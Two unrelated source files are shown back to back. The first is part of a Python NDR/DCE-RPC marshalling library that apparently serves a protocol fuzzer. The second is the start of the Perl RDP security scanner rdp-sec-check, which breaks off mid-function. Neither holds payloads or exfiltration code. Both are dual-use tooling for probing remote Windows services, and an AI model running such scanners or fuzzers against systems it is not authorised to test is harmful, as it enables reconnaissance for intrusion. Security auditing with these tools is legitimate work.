767 | ''' | |
768 | NDR Union: data will be a tuple list of (case, ndr_type) | |
769 | ''' | |
770 | ||
771 | def __init__(self, **kwargs): | |
772 | self.elements = kwargs.get('elements', {}) | |
773 | self.switch_dep = kwargs.get('switch_dep', "") | |
774 | self.name = kwargs.get('name', "") | |
775 | self.defname = kwargs.get('defname', "") | |
776 | self.size = 0 | |
777 | ||
778 | def get_data(self): | |
779 | return self.elements | |
780 | ||
781 | def set_data(self, new_data): | |
782 | self.elements = new_data | |
783 | ||
784 | def get_name(self): | |
785 | return self.name | |
786 | ||
787 | def get_size(self): | |
788 | return self.size | |
789 | ||
790 | def add_element(self, case, element): | |
791 | self.elements[case] = element | |
792 | ||
793 | def serialize(self): | |
794 | serialdata = "" | |
795 | ||
796 | switch = self.switch_dep.get_data() | |
797 | if self.elements.has_key(switch): | |
798 | serialdata += self.switch_dep.serialize() | |
799 | ||
800 | # Pack our requested enum | |
801 | serialdata += self.elements[switch].serialize() | |
802 | else: | |
803 | # This allows us to pick a switch for the user | |
804 | newswitch = self.elements.keys()[0] | |
805 | ||
806 | # We need to update our original switch_dep so it passes correlation checks | |
807 | self.switch_dep.set_data(newswitch) | |
808 | ||
809 | serialdata += ndr_long(data=newswitch).serialize() | |
810 | serialdata += self.elements[newswitch].serialize() | |
811 | ||
812 | return serialdata | |
813 | ||
814 | ####################################################################### | |
815 | # | |
816 | # Pointers | |
817 | # | |
818 | ####################################################################### | |
819 | class ndr_unique(ndr_container): | |
820 | def __init__(self, **kwargs): | |
821 | self.name = kwargs.get('name', "") | |
822 | self.data = kwargs.get('data', "") | |
823 | self.type = kwargs.get('type', "") | |
824 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
825 | self.pointer_value = kwargs.get('pointer_value', 0x41424344) | |
826 | self.size = 4 | |
827 | self.alignment = 4 | |
828 | ||
829 | self.parent = None | |
830 | self.s = [] | |
831 | self.d = [] | |
832 | ||
833 | def get_name(self): | |
834 | return self.name | |
835 | ||
836 | def get_size(self): | |
837 | return self.size | |
838 | ||
839 | def get_data(self): | |
840 | return self.data | |
841 | ||
842 | def set_data(self, new_data): | |
843 | # We have to use the objects set_data if its a unique/array | |
844 | self.data.set_data(new_data) | |
845 | ||
846 | def serialize(self): | |
847 | self.add_static(ndr_long(data=self.pointer_value)) | |
848 | ||
849 | if isinstance(self.data, ndr_container): | |
850 | self.data.parent = self | |
851 | ||
852 | self.add_deferred(self.data) | |
853 | ||
854 | if not self.parent: | |
855 | while len(self.d): | |
856 | d = self.d.pop(0) | |
857 | if isinstance(d, ndr_container): | |
858 | d.serialize() | |
859 | else: | |
860 | self.add_static(d) | |
861 | ||
862 | serialdata = "" | |
863 | for s in self.s: | |
864 | if isinstance(s, ndr_pad): | |
865 | serialdata += self.align(serialdata) | |
866 | else: | |
867 | serialdata += s.serialize() | |
868 | ||
869 | self.parent = None | |
870 | self.s = [] | |
871 | self.d = [] | |
872 | ||
873 | return serialdata | |
874 | ||
875 | class ndr_full(ndr_container): | |
876 | def __init__(self, **kwargs): | |
877 | self.name = kwargs.get('name', "") | |
878 | self.data = kwargs.get('data', "") | |
879 | self.type = kwargs.get('type', "") | |
880 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
881 | self.pointer_value = kwargs.get('pointer_value', 0x41424344) | |
882 | self.size = 4 | |
883 | self.alignment = 4 | |
884 | ||
885 | self.parent = None | |
886 | self.s = [] | |
887 | self.d = [] | |
888 | ||
889 | def get_name(self): | |
890 | return self.name | |
891 | ||
892 | def get_size(self): | |
893 | return self.size | |
894 | ||
895 | def get_data(self): | |
896 | return self.data | |
897 | ||
898 | def set_data(self, new_data): | |
899 | # We have to use the objects set_data if its a unique/array | |
900 | self.data.set_data(new_data) | |
901 | ||
902 | def serialize(self): | |
903 | self.add_static(ndr_long(data=self.pointer_value)) | |
904 | ||
905 | if isinstance(self.data, ndr_container): | |
906 | self.data.parent = self | |
907 | ||
908 | self.add_deferred(self.data) | |
909 | ||
910 | if not self.parent: | |
911 | while len(self.d): | |
912 | d = self.d.pop(0) | |
913 | if isinstance(d, ndr_container): | |
914 | d.serialize() | |
915 | else: | |
916 | self.add_static(d) | |
917 | ||
918 | serialdata = "" | |
919 | for s in self.s: | |
920 | if isinstance(s, ndr_pad): | |
921 | serialdata += self.align(serialdata) | |
922 | else: | |
923 | serialdata += s.serialize() | |
924 | ||
925 | self.parent = None | |
926 | self.s = [] | |
927 | self.d = [] | |
928 | ||
929 | return serialdata | |
930 | ||
931 | ####################################################################### | |
932 | # | |
933 | # Structures | |
934 | # | |
935 | ####################################################################### | |
936 | ||
937 | class ndr_struct(ndr_container): | |
938 | def __init__(self, **kwargs): | |
939 | self.elements = kwargs.get('elements', []) | |
940 | self.name = kwargs.get('name', "") | |
941 | self.defname = kwargs.get('defname', "") | |
942 | self.type = kwargs.get('type', "") | |
943 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
944 | ||
945 | self.size = 0 | |
946 | self.alignment = 4 | |
947 | ||
948 | self.parent = None | |
949 | self.s = [] | |
950 | self.d = [] | |
951 | ||
952 | def get_data(self): | |
953 | return self.elements | |
954 | ||
955 | def set_data(self, new_data): | |
956 | self.elements = new_data | |
957 | ||
958 | def add_element(self, element): | |
959 | self.elements.append(element) | |
960 | ||
961 | def del_element(self, eid): | |
962 | del(self.elements[eid]) | |
963 | ||
964 | return True | |
965 | ||
966 | def get_element_by_id(self, eid=0): | |
967 | return self.elements[eid] | |
968 | ||
969 | def get_element_by_name(self, name): | |
970 | for element in self.elements: | |
971 | try: | |
972 | if element.name == name: | |
973 | return element | |
974 | except: | |
975 | if DEBUG: print "[*] Couldnt get name of element" | |
976 | ||
977 | return False | |
978 | ||
979 | def get_name(self): | |
980 | return self.name | |
981 | ||
982 | def get_size(self): | |
983 | return self.size | |
984 | ||
985 | def serialize(self): | |
986 | if DEBUG: print "[*] Serializing ndr_struct" | |
987 | ||
988 | # First we take care of our list serializing all containers first, and adding primitives verbatim | |
989 | for e in self.elements: | |
990 | if isinstance(e, ndr_container): | |
991 | e.parent = self | |
992 | e.serialize() | |
993 | else: | |
994 | self.add_static(e) | |
995 | ||
996 | # If we are the top-most structure lets package it all | |
997 | if not self.parent: | |
998 | if DEBUG: print "[*] Packaging top most struct %s" % self.name | |
999 | ||
1000 | self.add_static(ndr_pad()) | |
1001 | ||
1002 | while len(self.d): | |
1003 | d = self.d.pop(0) | |
1004 | if isinstance(d, ndr_container): | |
1005 | d.serialize() | |
1006 | else: | |
1007 | self.add_static(d) | |
1008 | ||
1009 | serialdata = "" | |
1010 | for s in self.s: | |
1011 | if isinstance(s, ndr_pad): | |
1012 | serialdata += self.align(serialdata) | |
1013 | else: | |
1014 | serialdata += s.serialize() | |
1015 | ||
1016 | self.parent = None | |
1017 | self.s = [] | |
1018 | self.d = [] | |
1019 | ||
1020 | return serialdata | |
1021 | ||
1022 | ####################################################################### | |
1023 | # | |
1024 | # Arrays | |
1025 | # | |
1026 | ####################################################################### | |
1027 | ||
1028 | class ndr_array(ndr_container): | |
1029 | def array_serialize(self, count): | |
1030 | for c in range(count): | |
1031 | if isinstance(self.basetype, ndr_container): | |
1032 | self.basetype.parent = self | |
1033 | self.basetype.serialize() | |
1034 | else: | |
1035 | self.add_static(self.basetype) | |
1036 | ||
1037 | if not self.parent: | |
1038 | if DEBUG: print "[*] Packaging top most array %s" % self.name | |
1039 | ||
1040 | while len(self.d): | |
1041 | d = self.d.pop(0) | |
1042 | if isinstance(d, ndr_container): | |
1043 | d.serialize() | |
1044 | else: | |
1045 | self.add_static(d) | |
1046 | ||
1047 | serialdata = "" | |
1048 | for s in self.s: | |
1049 | if isinstance(s, ndr_pad): | |
1050 | serialdata += self.align(serialdata) | |
1051 | else: | |
1052 | serialdata += s.serialize() | |
1053 | ||
1054 | self.parent = None | |
1055 | self.s = [] | |
1056 | self.d = [] | |
1057 | ||
1058 | return serialdata + self.align(serialdata) | |
1059 | else: | |
1060 | self.add_static(ndr_pad()) | |
1061 | ||
1062 | class ndr_array_fixed(ndr_array): | |
1063 | def __init__(self, **kwargs): | |
1064 | self.basetype = kwargs.get('basetype', ndr_empty()) | |
1065 | self.elements = kwargs.get('elements', []) | |
1066 | self.count = kwargs.get('count', 0x0) | |
1067 | self.cmod= kwargs.get('cmod', ()) | |
1068 | self.cptr = kwargs.get('cptr', 0x0) | |
1069 | self.name = kwargs.get('name', "") | |
1070 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
1071 | self.size = 0 | |
1072 | ||
1073 | self.parent = None | |
1074 | self.s = [] | |
1075 | self.d = [] | |
1076 | ||
1077 | def set_data(self, new_data): | |
1078 | # We have to use the objects set_data if its a pointer | |
1079 | self.basetype.set_data(new_data) | |
1080 | ||
1081 | def get_size(self): | |
1082 | return self.size | |
1083 | ||
1084 | def get_count(self): | |
1085 | return self.count | |
1086 | ||
1087 | def serialize(self): | |
1088 | if DEBUG: print "[*] Serializing ndr_array" | |
1089 | ||
1090 | if self.cptr == 1: | |
1091 | self.add_static(ndr_long(data=0x41424344)) | |
1092 | ||
1093 | return self.array_serialize(self.count) | |
1094 | ||
1095 | class ndr_array_conformant(ndr_array): | |
1096 | def __init__(self, **kwargs): | |
1097 | self.basetype = kwargs.get('basetype', ndr_empty()) | |
1098 | self.elements = kwargs.get('elements', []) | |
1099 | self.count = kwargs.get('count', 0x0) | |
1100 | self.cmod= kwargs.get('cmod', ()) | |
1101 | self.cptr = kwargs.get('cptr', 0x0) | |
1102 | self.name = kwargs.get('name', "") | |
1103 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
1104 | self.packed_count = False | |
1105 | self.size = 0 | |
1106 | ||
1107 | self.parent = None | |
1108 | self.s = [] | |
1109 | self.d = [] | |
1110 | ||
1111 | def set_data(self, new_data): | |
1112 | # We have to use the objects set_data if its a pointer | |
1113 | self.basetype.set_data(new_data) | |
1114 | ||
1115 | def get_size(self): | |
1116 | return self.size | |
1117 | ||
1118 | def serialize(self): | |
1119 | if DEBUG: print "[*] Serializing ndr_array_conformant" | |
1120 | ||
1121 | if self.cptr == 1: | |
1122 | self.add_static(ndr_long(data=0x41424344)) | |
1123 | ||
1124 | # Pack our count | |
1125 | if isinstance(self.count, int): | |
1126 | num = self.count | |
1127 | ||
1128 | self.add_static(ndr_long(data=num)) | |
1129 | ||
1130 | # If we used a ascii rep of size pack it | |
1131 | # YYY: callback_0x12345678 will fail here | |
1132 | elif isinstance(self.count, str): | |
1133 | num = int(self.count) | |
1134 | ||
1135 | self.add_static(ndr_long(data=num)) | |
1136 | # else we have a ndr object to pack | |
1137 | else: | |
1138 | # We have to handle the math operators i.e. [size_is(arg1 / 2)] | |
1139 | num = self.count.get_data() | |
1140 | if self.cmod: | |
1141 | if self.cmod[0] == "/": | |
1142 | num /= self.cmod[1] | |
1143 | elif self.cmod[0] == "*": | |
1144 | num *= self.cmod[1] | |
1145 | else: | |
1146 | print "[!] Problem with operator %s" % self.cmod[0] | |
1147 | sys.exit(-1) | |
1148 | ||
1149 | self.add_static(ndr_long(data=num)) | |
1150 | # End pack count | |
1151 | ||
1152 | return self.array_serialize(num) | |
1153 | ||
1154 | class ndr_array_varying(ndr_array): | |
1155 | def __init__(self, **kwargs): | |
1156 | self.basetype = kwargs.get('basetype', ndr_empty()) | |
1157 | self.elements = kwargs.get('elements', []) | |
1158 | self.count = kwargs.get('count', 0x0) | |
1159 | self.cmod= kwargs.get('cmod', ()) | |
1160 | self.cptr = kwargs.get('cptr', 0x0) | |
1161 | self.name = kwargs.get('name', "") | |
1162 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
1163 | ||
1164 | self.packed_count = False | |
1165 | self.size = 0 | |
1166 | ||
1167 | self.parent = None | |
1168 | self.s = [] | |
1169 | self.d = [] | |
1170 | ||
1171 | def set_data(self, new_data): | |
1172 | # We have to use the objects set_data if its a pointer | |
1173 | self.basetype.set_data(new_data) | |
1174 | ||
1175 | def get_size(self): | |
1176 | return self.size | |
1177 | ||
1178 | def serialize(self): | |
1179 | # Pack offset | |
1180 | self.add_static(ndr_long(data=0x0)) | |
1181 | ||
1182 | # Need example of the cptr stuff | |
1183 | if self.cptr == 1: | |
1184 | self.add_static(ndr_long(data=0x41424344)) | |
1185 | ||
1186 | if isinstance(self.count, int): | |
1187 | num = self.count | |
1188 | elif isinstance(self.count, str): | |
1189 | num = int(self.count) | |
1190 | else: | |
1191 | num = self.count.get_data() | |
1192 | if self.cmod: | |
1193 | if self.cmod[0] == "/": | |
1194 | num /= self.cmod[1] | |
1195 | elif self.cmod[0] == "*": | |
1196 | num *= self.cmod[1] | |
1197 | else: | |
1198 | print "[!] Problem with operator %s" % self.cmod[0] | |
1199 | sys.exit(-1) | |
1200 | ||
1201 | # Pack our array count | |
1202 | self.add_static(ndr_long(data=num)) | |
1203 | ||
1204 | return self.array_serialize(num) | |
1205 | ||
1206 | class ndr_array_conformant_varying(ndr_array): | |
1207 | def __init__(self, **kwargs): | |
1208 | self.basetype = kwargs.get('basetype', ndr_empty()) | |
1209 | self.elements = kwargs.get('elements', []) | |
1210 | ||
1211 | self.maxcount = kwargs.get('maxcount', 0x0) | |
1212 | self.mmod= kwargs.get('mmod', ()) | |
1213 | self.mptr = kwargs.get('mptr', 0x0) | |
1214 | ||
1215 | self.passed = kwargs.get('passed', 0x0) | |
1216 | self.pmod= kwargs.get('pmod', ()) | |
1217 | self.pptr = kwargs.get('pptr', 0x0) | |
1218 | ||
1219 | self.name = kwargs.get('name', "") | |
1220 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
1221 | ||
1222 | self.packed_count = True | |
1223 | self.size = 0 | |
1224 | ||
1225 | self.parent = None | |
1226 | self.s = [] | |
1227 | self.d = [] | |
1228 | ||
1229 | def set_data(self, new_data): | |
1230 | # We have to use the objects set_data if its a pointer | |
1231 | self.basetype.set_data(new_data) | |
1232 | ||
1233 | def get_size(self): | |
1234 | return self.size | |
1235 | ||
1236 | def serialize(self): | |
1237 | # Need example of the mptr stuff | |
1238 | if self.mptr == 1: | |
1239 | self.add_static(ndr_long(data=0x41424344)) | |
1240 | ||
1241 | # Do conformant stuff | |
1242 | if isinstance(self.maxcount, int): | |
1243 | mnum = self.maxcount | |
1244 | elif isinstance(self.maxcount, str): | |
1245 | mnum = int(self.maxcount) | |
1246 | else: | |
1247 | mnum = self.maxcount.get_data() | |
1248 | if self.mmod: | |
1249 | if self.mmod[0] == "/": | |
1250 | mnum /= self.mmod[1] | |
1251 | elif self.mmod[0] == "*": | |
1252 | mnum *= self.mmod[1] | |
1253 | else: | |
1254 | print "[!] Problem with operator %s" % self.mmod[0] | |
1255 | sys.exit(-1) | |
1256 | ||
1257 | # Pack conformant info | |
1258 | self.add_static(ndr_long(data=mnum)) | |
1259 | ||
1260 | # Offset | |
1261 | self.add_static(ndr_long(data=0x0)) | |
1262 | ||
1263 | # Need example of the pptr stuff | |
1264 | if self.pptr == 1: | |
1265 | self.add_static(ndr_long(data=0x41424344)) | |
1266 | ||
1267 | # Do varying stuff | |
1268 | if isinstance(self.passed, int): | |
1269 | pnum = self.passed | |
1270 | elif isinstance(self.passed, str): | |
1271 | pnum = int(self.passed) | |
1272 | else: | |
1273 | pnum = self.passed.get_data() | |
1274 | if self.pmod: | |
1275 | if self.pmod[0] == "/": | |
1276 | pnum /= self.pmod[1] | |
1277 | elif self.pmod[0] == "*": | |
1278 | pnum *= self.pmod[1] | |
1279 | else: | |
1280 | print "[!] Problem with operator %s" % self.pmod[0] | |
1281 | sys.exit(-1) | |
1282 | ||
1283 | # Add varying count | |
1284 | self.add_static(ndr_long(data=pnum)) | |
1285 | ||
1286 | return self.array_serialize(pnum) |
0 | #!/usr/bin/perl | |
1 | # rdp-sec-check | |
2 | # Copyright (C) 2014 Mark lowe ([email protected]) | |
3 | # | |
4 | # This tool may be used for legal purposes only. Users take full responsibility | |
5 | # for any actions performed using this tool. The author accepts no liability | |
6 | # for damage caused by this tool. If these terms are not acceptable to you, then | |
7 | # do not use this tool. | |
8 | # | |
9 | # In all other respects the GPL version 2 applies: | |
10 | # | |
11 | # This program is free software; you can redistribute it and/or modify | |
12 | # it under the terms of the GNU General Public License version 2 as | |
13 | # published by the Free Software Foundation. | |
14 | # | |
15 | # This program is distributed in the hope that it will be useful, | |
16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of | |
17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
18 | # GNU General Public License for more details. | |
19 | # | |
20 | # You should have received a copy of the GNU General Public License along | |
21 | # with this program; if not, write to the Free Software Foundation, Inc., | |
22 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. | |
23 | # | |
24 | # You are encouraged to send comments, improvements or suggestions to | |
25 | # me at [email protected] | |
26 | # | |
27 | # Dependencies: | |
28 | # | |
29 | # CPAN module Encoding::BER. As root: | |
30 | # # cpan | |
31 | # cpan[1]> install Encoding::BER | |
32 | # | |
33 | # References: | |
34 | # | |
35 | # [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification | |
36 | # http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx | |
37 | # | |
38 | use strict; | |
39 | use warnings; | |
40 | use IO::Socket::INET; | |
41 | use Getopt::Long; | |
42 | use Encoding::BER; | |
43 | ||
44 | my %rdp_neg_type; | |
45 | $rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ"; | |
46 | $rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP"; | |
47 | $rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE"; | |
48 | ||
49 | my %rdp_neg_rsp_flags; | |
50 | $rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET"; | |
51 | $rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED"; | |
52 | $rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED"; | |
53 | ||
54 | my %rdp_neg_protocol; | |
55 | $rdp_neg_protocol{"00"} = "PROTOCOL_RDP"; | |
56 | $rdp_neg_protocol{"01"} = "PROTOCOL_SSL"; | |
57 | $rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID"; | |
58 | ||
59 | my %rdp_neg_failure_code; | |
60 | $rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER"; | |
61 | $rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER"; | |
62 | $rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER"; | |
63 | $rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS"; | |
64 | $rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER"; | |
65 | $rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"; | |
66 | ||
67 | my %encryption_level; | |
68 | $encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE"; | |
69 | $encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW"; | |
70 | $encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE"; | |
71 | $encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH"; | |
72 | $encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS"; | |
73 | ||
74 | my %encryption_method; | |
75 | $encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE"; | |
76 | $encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT"; | |
77 | $encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT"; | |
78 | $encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT"; | |
79 | $encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS"; | |
80 | ||
81 | my %version_meaning; | |
82 | $version_meaning{"00080001"} = "RDP 4.0 servers"; | |
83 | $version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers"; | |
84 | ||
85 | my $enc = Encoding::BER->new(warn => sub{}); | |
86 | my %config; | |
87 | ||
88 | my $VERSION = "0.9-beta"; | |
89 | my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) | |
90 | Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com) | |
91 | ||
92 | $0 [ options ] ( --file hosts.txt | host | host:port ) | |
93 | ||
94 | options are: | |
95 | ||
96 | --file hosts.txt targets, one ip:port per line | |
97 | --outfile out.log output logfile | |
98 | --timeout sec receive timeout (default 10s) | |
99 | --retries times number of retries after timeout | |
100 | --verbose | |
101 | --debug | |
102 | --help | |
103 | ||
104 | Example: | |
105 | $0 192.168.1.1 | |
106 | $0 --file hosts.txt --timeout 15 --retries 3 | |
107 | $0 --outfile rdp.log 192.168.69.69:3389 | |
108 | $0 --file hosts.txt --outfile rdp.log --verbose | |
109 | ||
110 | "; | |
111 | ||
112 | my $debug = 0; | |
113 | my $verbose = 0; | |
114 | my $help = 0; | |
115 | my $hostfile = undef; | |
116 | my $outfile = undef; | |
117 | my @targets = (); | |
118 | ||
119 | my $global_recv_timeout = 10; | |
120 | my $global_connect_fail_count = 5; | |
121 | my $global_connection_count = 0; | |
122 | ||
123 | my $result = GetOptions ( | |
124 | "verbose" => \$verbose, | |
125 | "debug" => \$debug, | |
126 | "help" => \$help, | |
127 | "file=s" => \$hostfile, | |
128 | "outfile=s" => \$outfile, | |
129 | "timeout=i" => \$global_recv_timeout, | |
130 | "retries=i" => \$global_connection_count, | |
131 | ); | |
132 | ||
133 | if ($help) { | |
134 | print $usage; | |
135 | exit 0; | |
136 | } | |
137 | ||
138 | if ($debug) { | |
139 | use Data::Dumper; | |
140 | use warnings FATAL => 'all'; | |
141 | use Carp qw(confess); | |
142 | $SIG{ __DIE__ } = sub { confess( @_ ) }; | |
143 | } | |
144 | ||
145 | if (defined($outfile)){ | |
146 | # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file | |
147 | use Symbol; | |
148 | my @handles = (*STDOUT); | |
149 | my $handle = gensym( ); | |
150 | push(@handles, $handle); | |
151 | open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite; | |
152 | tie *TEE, "Tie::Tee", @handles; | |
153 | select(TEE); | |
154 | *STDERR = *TEE; | |
155 | } | |
156 | ||
157 | if (defined($hostfile)) { | |
158 | open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n"; | |
159 | while (<HOSTS>) { | |
160 | chomp; chomp; | |
161 | my $line = $_; | |
162 | my $port = 3389; | |
163 | my $host = $line; | |
164 | if ($line =~ /\s*(\S+):(\d+)\s*/) { | |
165 | $host = $1; | |
166 | $port = $2; | |
167 | } | |
168 | my $ip = resolve($host); | |
169 | if (defined($ip)) { | |
170 | push @targets, { ip => $ip, hostname => $host, port => $port }; | |
171 | } else { | |
172 | print "[W] Unable to resolve host $host. Ignoring line: $line\n"; | |
173 | } | |
174 | } | |
175 | close(HOSTS); | |
176 | ||
177 | } else { | |
178 | my $host = shift or die $usage; | |
179 | my $port = 3389; | |
180 | if ($host =~ /\s*(\S+):(\d+)\s*/) { | |
181 | $host = $1; | |
182 | $port = $2; | |
183 | } | |
184 | my $ip = resolve($host); | |
185 | unless (defined($ip)) { | |
186 | die "[E] Can't resolve hostname $host\n"; | |
187 | } | |
188 | push @targets, { ip => $ip, hostname => $host, port => $port }; | |
189 | } | |
190 | ||
191 | # flush after every write | |
192 | $| = 1; | |
193 | ||
194 | my $global_starttime = time; | |
195 | printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); | |
196 | printf "\n[+] Scanning %s hosts\n", scalar @targets; | |
197 | print Dumper \@targets if $debug > 0; | |
198 | ||
199 | foreach my $target_addr (@targets) { | |
200 | scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port}); | |
201 | } | |
202 | ||
203 | print "\n"; | |
204 | printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime); | |
205 | print "\n"; | |
206 | ||
207 | sub scan_host { | |
208 | my ($host, $ip, $port) = @_; | |
209 | print "\n"; | |
210 | print "Target: $host\n"; | |
211 | print "IP: $ip\n"; | |
212 | print "Port: $port\n"; | |
213 | print "\n"; | |
214 | print "[+] Connecting to $ip:$port\n" if $debug > 1; | |
215 | my $socket; | |
216 | my @response; | |
217 | ||
218 | print "[+] Checking supported protocols\n\n"; | |
219 | print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported..."; | |
220 | $socket = get_socket($ip, $port); | |
221 | @response = test_std_rdp_security($socket); | |
222 | if (scalar @response == 19) { | |
223 | my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; | |
224 | if ($type eq "TYPE_RDP_NEG_FAILURE") { | |
225 | printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; | |
226 | $config{"protocols"}{"PROTOCOL_RDP"} = 0; | |
227 | } else { | |
228 | if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") { | |
229 | print "Supported\n"; | |
230 | $config{"protocols"}{"PROTOCOL_RDP"} = 1; | |
231 | } else { | |
232 | printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; | |
233 | } | |
234 | } | |
235 | } elsif (scalar @response == 11) { | |
236 | printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; | |
237 | $config{"protocols"}{"PROTOCOL_RDP"} = 1; | |
238 | } else { | |
239 | print "Not supported - unexpected response\n"; | |
240 | $config{"protocols"}{"PROTOCOL_RDP"} = 1; | |
241 | } | |
242 | ||
243 | print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported..."; | |
244 | $socket = get_socket($ip, $port); | |
245 | @response = test_tls_security($socket); | |
246 | if (scalar @response == 19) { | |
247 | my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; | |
248 | if ($type eq "TYPE_RDP_NEG_FAILURE") { | |
249 | printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; | |
250 | $config{"protocols"}{"PROTOCOL_SSL"} = 0; | |
251 | } else { | |
252 | if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") { | |
253 | print "Supported\n"; | |
254 | $config{"protocols"}{"PROTOCOL_SSL"} = 1; | |
255 | } else { | |
256 | printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; | |
257 | } | |
258 | } | |
259 | } elsif (scalar @response == 11) { | |
260 | printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; | |
261 | $config{"protocols"}{"PROTOCOL_SSL"} = 0; | |
262 | } else { | |
263 | print "Not supported - unexpected response\n"; | |
264 | $config{"protocols"}{"PROTOCOL_SSL"} = 0; | |
265 | } | |
266 | ||
267 | print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; | |
268 | $socket = get_socket($ip, $port); | |
269 | @response = test_credssp_security($socket); | |
270 | if (scalar @response == 19) { | |
271 | my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; | |
272 | if ($type eq "TYPE_RDP_NEG_FAILURE") { | |
273 | printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; | |
274 | $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; | |
275 | } else { | |
276 | if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") { | |
277 | print "Supported\n"; | |
278 | $config{"protocols"}{"PROTOCOL_HYBRID"} = 1; | |
279 | } else { | |
280 | printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; | |
281 | } | |
282 | } | |
283 | } elsif (scalar @response == 11) { | |
284 | printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n"; | |
285 | $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; | |
286 | } else { | |
287 | print "Not supported - unexpected response\n"; | |
288 | $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; | |
289 | } | |
290 | print "\n"; | |
291 | print "[+] Checking RDP Security Layer\n\n"; | |
292 | foreach my $enc_hex (qw(00 01 02 08 10)) { | |
293 | printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; | |
294 | $socket = get_socket($ip, $port); | |
295 | @response = test_classic_rdp_security($socket); | |
296 | ||
297 | if (scalar @response == 11) { | |
298 | my @response_mcs = test_mcs_initial_connect($socket, $enc_hex); | |
299 | unless (scalar(@response_mcs) > 8) { | |
300 | print "Not supported\n"; | |
301 | next; | |
302 | } | |
303 | my $length1 = ord($response_mcs[8]); | |
304 | my $ber_encoded = join("", splice @response_mcs, 7); | |
305 | my $ber = $enc->decode($ber_encoded); | |
306 | my $user_data = $ber->{value}->[3]->{value}; | |
307 | my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s; | |
308 | ||
309 | my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/; | |
310 | my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/; | |
311 | my $server_cert_length_i = unpack("V", $server_cert_length); | |
312 | my $random_length_i = unpack("V", $random_length); | |
313 | if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) { | |
314 | printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; | |
